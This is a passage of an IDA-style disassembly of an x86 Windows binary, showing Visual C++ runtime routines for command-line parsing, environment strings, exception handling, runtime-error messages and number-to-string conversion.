		jz	short loc_4264A7
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4264A7:				; CODE XREF: sub_426400+76j
					; sub_426400+89j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4264CD
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_4264CD:				; CODE XREF: sub_426400+B8j
		jmp	loc_426444
; ---------------------------------------------------------------------------


loc_4264D2:				; CODE XREF: sub_426400+56j
					; sub_426400+60j
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_4264F4
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx


loc_4264F4:				; CODE XREF: sub_426400+E3j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_426508
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_426508:				; CODE XREF: sub_426400+FDj
		jmp	loc_4265DC
; ---------------------------------------------------------------------------


loc_42650D:				; CODE XREF: sub_426400+3Ej
					; sub_426400+1B1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_426533
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_426533:				; CODE XREF: sub_426400+11Ej
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_4DB681[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_42658B
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_426582
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_426582:				; CODE XREF: sub_426400+16Dj
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42658B:				; CODE XREF: sub_426400+15Aj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		cmp	edx, 20h
		jz	short loc_4265B7
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4265B7
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		cmp	ecx, 9
		jnz	loc_42650D


loc_4265B7:				; CODE XREF: sub_426400+197j
					; sub_426400+1A3j
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_4265CF
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4265DC
; ---------------------------------------------------------------------------


loc_4265CF:				; CODE XREF: sub_426400+1C2j
		cmp	[ebp+arg_8], 0
		jz	short loc_4265DC
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx-1], 0


loc_4265DC:				; CODE XREF: sub_426400:loc_426508j
					; sub_426400+1CDj ...
		mov	[ebp+var_14], 0


loc_4265E3:				; CODE XREF: sub_426400+3F6j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42660E


loc_4265ED:				; CODE XREF: sub_426400+20Cj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_426603
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_42660E


loc_426603:				; CODE XREF: sub_426400+1F6j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_4265ED
; ---------------------------------------------------------------------------


loc_42660E:				; CODE XREF: sub_426400+1EBj
					; sub_426400+201j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_42661D
		jmp	loc_4267FB
; ---------------------------------------------------------------------------


loc_42661D:				; CODE XREF: sub_426400+216j
		cmp	[ebp+arg_4], 0
		jz	short loc_426634
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	[edx], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx


loc_426634:				; CODE XREF: sub_426400+221j
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_426641:				; CODE XREF: sub_426400+3CFj
		mov	[ebp+var_8], 1
		mov	[ebp+var_10], 0


loc_42664F:				; CODE XREF: sub_426400+26Cj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 5Ch
		jnz	short loc_42666E
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		jmp	short loc_42664F
; ---------------------------------------------------------------------------


loc_42666E:				; CODE XREF: sub_426400+258j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_4266CA
		mov	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 2
		div	ecx
		test	edx, edx
		jnz	short loc_4266C2
		cmp	[ebp+var_14], 0
		jz	short loc_4266AF
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 22h
		jnz	short loc_4266A6
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_4266AD
; ---------------------------------------------------------------------------


loc_4266A6:				; CODE XREF: sub_426400+299j
		mov	[ebp+var_8], 0


loc_4266AD:				; CODE XREF: sub_426400+2A4j
		jmp	short loc_4266B6
; ---------------------------------------------------------------------------


loc_4266AF:				; CODE XREF: sub_426400+28Dj
		mov	[ebp+var_8], 0


loc_4266B6:				; CODE XREF: sub_426400:loc_4266ADj
		xor	edx, edx
		cmp	[ebp+var_14], 0
		setz	dl
		mov	[ebp+var_14], edx


loc_4266C2:				; CODE XREF: sub_426400+287j
		mov	eax, [ebp+var_10]
		shr	eax, 1
		mov	[ebp+var_10], eax


loc_4266CA:				; CODE XREF: sub_426400+277j
					; sub_426400+2FCj
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_4266FE
		cmp	[ebp+arg_8], 0
		jz	short loc_4266EF
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	5Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx


loc_4266EF:				; CODE XREF: sub_426400+2DEj
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		jmp	short loc_4266CA
; ---------------------------------------------------------------------------


loc_4266FE:				; CODE XREF: sub_426400+2D8j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_426724
		cmp	[ebp+var_14], 0
		jnz	short loc_426729
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_426724
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_426729


loc_426724:				; CODE XREF: sub_426400+306j
					; sub_426400+317j
		jmp	loc_4267D4
; ---------------------------------------------------------------------------


loc_426729:				; CODE XREF: sub_426400+30Cj
					; sub_426400+322j
		cmp	[ebp+var_8], 0
		jz	loc_4267C6
		cmp	[ebp+arg_8], 0
		jz	short loc_42678D
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4DB681[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_426778
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx


loc_426778:				; CODE XREF: sub_426400+34Dj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_4267B9
; ---------------------------------------------------------------------------


loc_42678D:				; CODE XREF: sub_426400+337j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4DB681[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_4267B9
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx


loc_4267B9:				; CODE XREF: sub_426400+38Bj
					; sub_426400+3A1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx


loc_4267C6:				; CODE XREF: sub_426400+32Dj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_426641
; ---------------------------------------------------------------------------


loc_4267D4:				; CODE XREF: sub_426400:loc_426724j
		cmp	[ebp+arg_8], 0
		jz	short loc_4267E9
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx


loc_4267E9:				; CODE XREF: sub_426400+3D8j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		jmp	loc_4265E3
; ---------------------------------------------------------------------------


loc_4267FB:				; CODE XREF: sub_426400+218j
		cmp	[ebp+arg_4], 0
		jz	short loc_426813
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx


loc_426813:				; CODE XREF: sub_426400+3FFj
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_426400	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	dword ptr [ebp-14h], 0
		mov	dword ptr [ebp-18h], 0
		cmp	dword_4DB2D8, 0
		jnz	short loc_42688A
		call	near ptr 2670000h
		nop
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_426868
		mov	dword_4DB2D8, 1
		jmp	short loc_42688A
; ---------------------------------------------------------------------------


loc_426868:				; CODE XREF: ___:0042685Aj
		nop
		call	near ptr 28E143Ch
		mov	[ebp-18h], eax
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_426883
		mov	dword_4DB2D8, 2
		jmp	short loc_42688A
; ---------------------------------------------------------------------------


loc_426883:				; CODE XREF: ___:00426875j
		xor	eax, eax
		jmp	loc_426A45
; ---------------------------------------------------------------------------


loc_42688A:				; CODE XREF: ___:0042684Bj
					; ___:00426866j ...
		cmp	dword_4DB2D8, 1
		jnz	loc_42698E
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_4268B3
		nop
		call	near ptr 2670000h
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_4268B3
		xor	eax, eax
		jmp	loc_426A45
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: ___:0042689Bj
					; ___:004268AAj
		mov	eax, [ebp-14h]
		mov	[ebp-8], eax


loc_4268B9:				; CODE XREF: ___:loc_4268E3j
		mov	ecx, [ebp-8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jz	short loc_4268E5
		mov	eax, [ebp-8]
		add	eax, 2
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jnz	short loc_4268E3
		mov	eax, [ebp-8]
		add	eax, 2
		mov	[ebp-8], eax


loc_4268E3:				; CODE XREF: ___:004268D8j
		jmp	short loc_4268B9
; ---------------------------------------------------------------------------


loc_4268E5:				; CODE XREF: ___:004268C3j
		mov	ecx, [ebp-8]
		sub	ecx, [ebp-14h]
		sar	ecx, 1
		add	ecx, 1
		mov	[ebp-4], ecx
		push	0
		push	0
		push	0
		push	0
		mov	edx, [ebp-4]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		push	0
		push	0
		call	near ptr 2710000h
		nop
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_426934
		push	64h
		push	offset dword_434298
		push	2
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp-18h], eax
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_426945


loc_426934:				; CODE XREF: ___:00426914j
		mov	edx, [ebp-14h]
		push	edx
		nop
		call	near ptr 28E13DBh
		xor	eax, eax
		jmp	loc_426A45
; ---------------------------------------------------------------------------


loc_426945:				; CODE XREF: ___:00426932j
		push	0
		push	0
		mov	eax, [ebp-10h]
		push	eax
		mov	ecx, [ebp-18h]
		push	ecx
		mov	edx, [ebp-4]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		push	0
		push	0
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_42697C
		push	2
		mov	ecx, [ebp-18h]
		push	ecx
		call	sub_415860
		add	esp, 8
		mov	dword ptr [ebp-18h], 0


loc_42697C:				; CODE XREF: ___:00426965j
		mov	edx, [ebp-14h]
		push	edx
		nop
		call	near ptr 28E13DBh
		mov	eax, [ebp-18h]
		jmp	loc_426A45
; ---------------------------------------------------------------------------


loc_42698E:				; CODE XREF: ___:00426891j
		cmp	dword_4DB2D8, 2
		jnz	loc_426A43
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_4269B7
		nop
		call	near ptr 28E143Ch
		mov	[ebp-18h], eax
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_4269B7
		xor	eax, eax
		jmp	loc_426A45
; ---------------------------------------------------------------------------


loc_4269B7:				; CODE XREF: ___:0042699Fj
					; ___:004269AEj
		mov	eax, [ebp-18h]
		mov	[ebp-0Ch], eax


loc_4269BD:				; CODE XREF: ___:loc_4269E3j
		mov	ecx, [ebp-0Ch]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_4269E5
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp-0Ch]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_4269E3
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_4269E3:				; CODE XREF: ___:004269D8j
		jmp	short loc_4269BD
; ---------------------------------------------------------------------------


loc_4269E5:				; CODE XREF: ___:004269C5j
		mov	ecx, [ebp-0Ch]
		sub	ecx, [ebp-18h]
		add	ecx, 1
		mov	[ebp-10h], ecx
		push	8Fh
		push	offset dword_434298
		push	2
		mov	edx, [ebp-10h]
		push	edx
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-0Ch], 0
		jnz	short loc_426A20
		mov	eax, [ebp-18h]
		push	eax
		nop
		call	near ptr 28E12BDh
		xor	eax, eax
		jmp	short loc_426A45
; ---------------------------------------------------------------------------


loc_426A20:				; CODE XREF: ___:00426A10j
		mov	ecx, [ebp-10h]
		push	ecx
		mov	edx, [ebp-18h]
		push	edx
		mov	eax, [ebp-0Ch]
		push	eax
		call	sub_4187B0
		add	esp, 0Ch
		mov	ecx, [ebp-18h]
		push	ecx
		nop
		call	near ptr 28E12BDh
		mov	eax, [ebp-0Ch]
		jmp	short loc_426A45
; ---------------------------------------------------------------------------


loc_426A43:				; CODE XREF: ___:00426995j
		xor	eax, eax


loc_426A45:				; CODE XREF: ___:00426885j
					; ___:004268AEj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426A54	proc near		; DATA XREF: sub_424150+Ao
					; sub_424340+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_426AF4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_426A87:				; CODE XREF: sub_426A54+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_426AED
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_426ADB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_426ADB
		js	short loc_426AE6
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4196B0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4196F2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_419786
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_426ADB:				; CODE XREF: sub_426A54+40j
					; sub_426A54+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_426A87
; ---------------------------------------------------------------------------


loc_426AE6:				; CODE XREF: sub_426A54+54j
		mov	eax, 0
		jmp	short loc_426B09
; ---------------------------------------------------------------------------


loc_426AED:				; CODE XREF: sub_426A54+36j
		mov	eax, 1
		jmp	short loc_426B09
; ---------------------------------------------------------------------------


loc_426AF4:				; CODE XREF: sub_426A54+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4196F2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_426B09:				; CODE XREF: sub_426A54+97j
					; sub_426A54+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_426A54	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4196F2
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B30	proc near		; CODE XREF: sub_41A9A0+Cp
					; ___:0041A9DCp
		push	ebp
		mov	ebp, esp
		cmp	dword_4DB124, 1
		jz	short loc_426B4E
		cmp	dword_4DB124, 0
		jnz	short loc_426B77
		cmp	dword_443B84, 1
		jnz	short loc_426B77


loc_426B4E:				; CODE XREF: sub_426B30+Aj
		push	0FCh
		call	sub_426B80
		add	esp, 4
		cmp	dword_4DB2DC, 0
		jz	short loc_426B6A
		call	dword_4DB2DC


loc_426B6A:				; CODE XREF: sub_426B30+32j
		push	0FFh
		call	sub_426B80
		add	esp, 4


loc_426B77:				; CODE XREF: sub_426B30+13j
					; sub_426B30+1Cj
		pop	ebp
		retn
sub_426B30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B80	proc near		; CODE XREF: sub_41A9A0+15p
					; ___:0041A9E5p ...

var_1B0		= byte ptr -1B0h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], 0
		jmp	short loc_426B9E
; ---------------------------------------------------------------------------


loc_426B95:				; CODE XREF: sub_426B80:loc_426BB5j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_426B9E:				; CODE XREF: sub_426B80+13j
		cmp	[ebp+var_8], 12h
		jnb	short loc_426BB7
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_444450[ecx*8]
		jnz	short loc_426BB5
		jmp	short loc_426BB7
; ---------------------------------------------------------------------------


loc_426BB5:				; CODE XREF: sub_426B80+31j
		jmp	short loc_426B95
; ---------------------------------------------------------------------------


loc_426BB7:				; CODE XREF: sub_426B80+22j
					; sub_426B80+33j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_444450[eax*8]
		jnz	loc_426D38
		cmp	[ebp+arg_0], 0FCh
		jz	short loc_426BF4
		mov	edx, [ebp+var_8]
		mov	eax, off_444454[edx*8]
		push	eax
		push	0
		push	0
		push	0
		push	1
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_426BF4
		int	3		; Trap to Debugger


loc_426BF4:				; CODE XREF: sub_426B80+51j
					; sub_426B80+71j
		cmp	dword_4DB124, 1
		jz	short loc_426C0F
		cmp	dword_4DB124, 0
		jnz	short loc_426C48
		cmp	dword_443B84, 1
		jnz	short loc_426C48


loc_426C0F:				; CODE XREF: sub_426B80+7Bj
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, off_444454[edx*8]
		push	eax
		call	sub_414BE0
		add	esp, 4
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, off_444454[ecx*8]
		push	edx
		push	0FFFFFFF4h
		nop
		call	near ptr 2860000h
		push	eax
		nop
		call	near ptr 2720000h
		jmp	loc_426D38
; ---------------------------------------------------------------------------


loc_426C48:				; CODE XREF: sub_426B80+84j
					; sub_426B80+8Dj
		cmp	[ebp+arg_0], 0FCh
		jz	loc_426D38
		push	104h
		lea	eax, [ebp+var_110]
		push	eax
		push	0
		call	near ptr 2680000h
		nop
		test	eax, eax
		jnz	short loc_426C81
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_4184C0
		add	esp, 8


loc_426C81:				; CODE XREF: sub_426B80+EBj
		lea	edx, [ebp+var_110]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_414BE0
		add	esp, 4
		add	eax, 1
		cmp	eax, 3Ch
		jbe	short loc_426CCA
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		mov	edx, [ebp+var_C]
		lea	eax, [edx+eax-3Bh]
		mov	[ebp+var_C], eax
		push	3
		push	offset a___	; "..."
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_417770
		add	esp, 0Ch


loc_426CCA:				; CODE XREF: sub_426B80+11Cj
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_4184C0
		add	esp, 8
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_1B0]
		push	ecx
		call	sub_4184D0
		add	esp, 8
		push	offset asc_433E58 ; "\n\n"
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_4184D0
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, off_444454[eax*8]
		push	ecx
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_4184D0
		add	esp, 8
		push	12010h
		push	offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_427610
		add	esp, 0Ch


loc_426D38:				; CODE XREF: sub_426B80+44j
					; sub_426B80+C3j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_426B80	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	dword ptr [ebp-4], 0
		jmp	short loc_426D56
; ---------------------------------------------------------------------------


loc_426D4D:				; CODE XREF: ___:loc_426D6Dj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax


loc_426D56:				; CODE XREF: ___:00426D4Bj
		cmp	dword ptr [ebp-4], 12h
		jnb	short loc_426D6F
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	edx, dword_444450[ecx*8]
		jnz	short loc_426D6D
		jmp	short loc_426D6F
; ---------------------------------------------------------------------------


loc_426D6D:				; CODE XREF: ___:00426D69j
		jmp	short loc_426D4D
; ---------------------------------------------------------------------------


loc_426D6F:				; CODE XREF: ___:00426D5Aj
					; ___:00426D6Bj
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		cmp	ecx, dword_444450[eax*8]
		jnz	short loc_426D8A
		mov	edx, [ebp-4]
		mov	eax, off_444454[edx*8]
		jmp	short loc_426D8C
; ---------------------------------------------------------------------------


loc_426D8A:				; CODE XREF: ___:00426D7Cj
		xor	eax, eax


loc_426D8C:				; CODE XREF: ___:00426D88j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426D90	proc near		; CODE XREF: sub_41AB10+31Dp
					; sub_42BE10+1EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426DB7
		cmp	[ebp+arg_0], 0
		jge	short loc_426DB7
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_426DE0
		add	esp, 10h
		jmp	short loc_426DCD
; ---------------------------------------------------------------------------


loc_426DB7:				; CODE XREF: sub_426D90+7j
					; sub_426D90+Dj
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_426DE0
		add	esp, 10h


loc_426DCD:				; CODE XREF: sub_426D90+25j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_426D90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426DE0	proc near		; CODE XREF: sub_426D90+1Dp
					; sub_426D90+35p ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_C], 0
		jz	short loc_426E09
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	[ebp+arg_0], eax


loc_426E09:				; CODE XREF: sub_426DE0+10j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx


loc_426E0F:				; CODE XREF: sub_426DE0+79j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_C], 9
		jbe	short loc_426E41
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
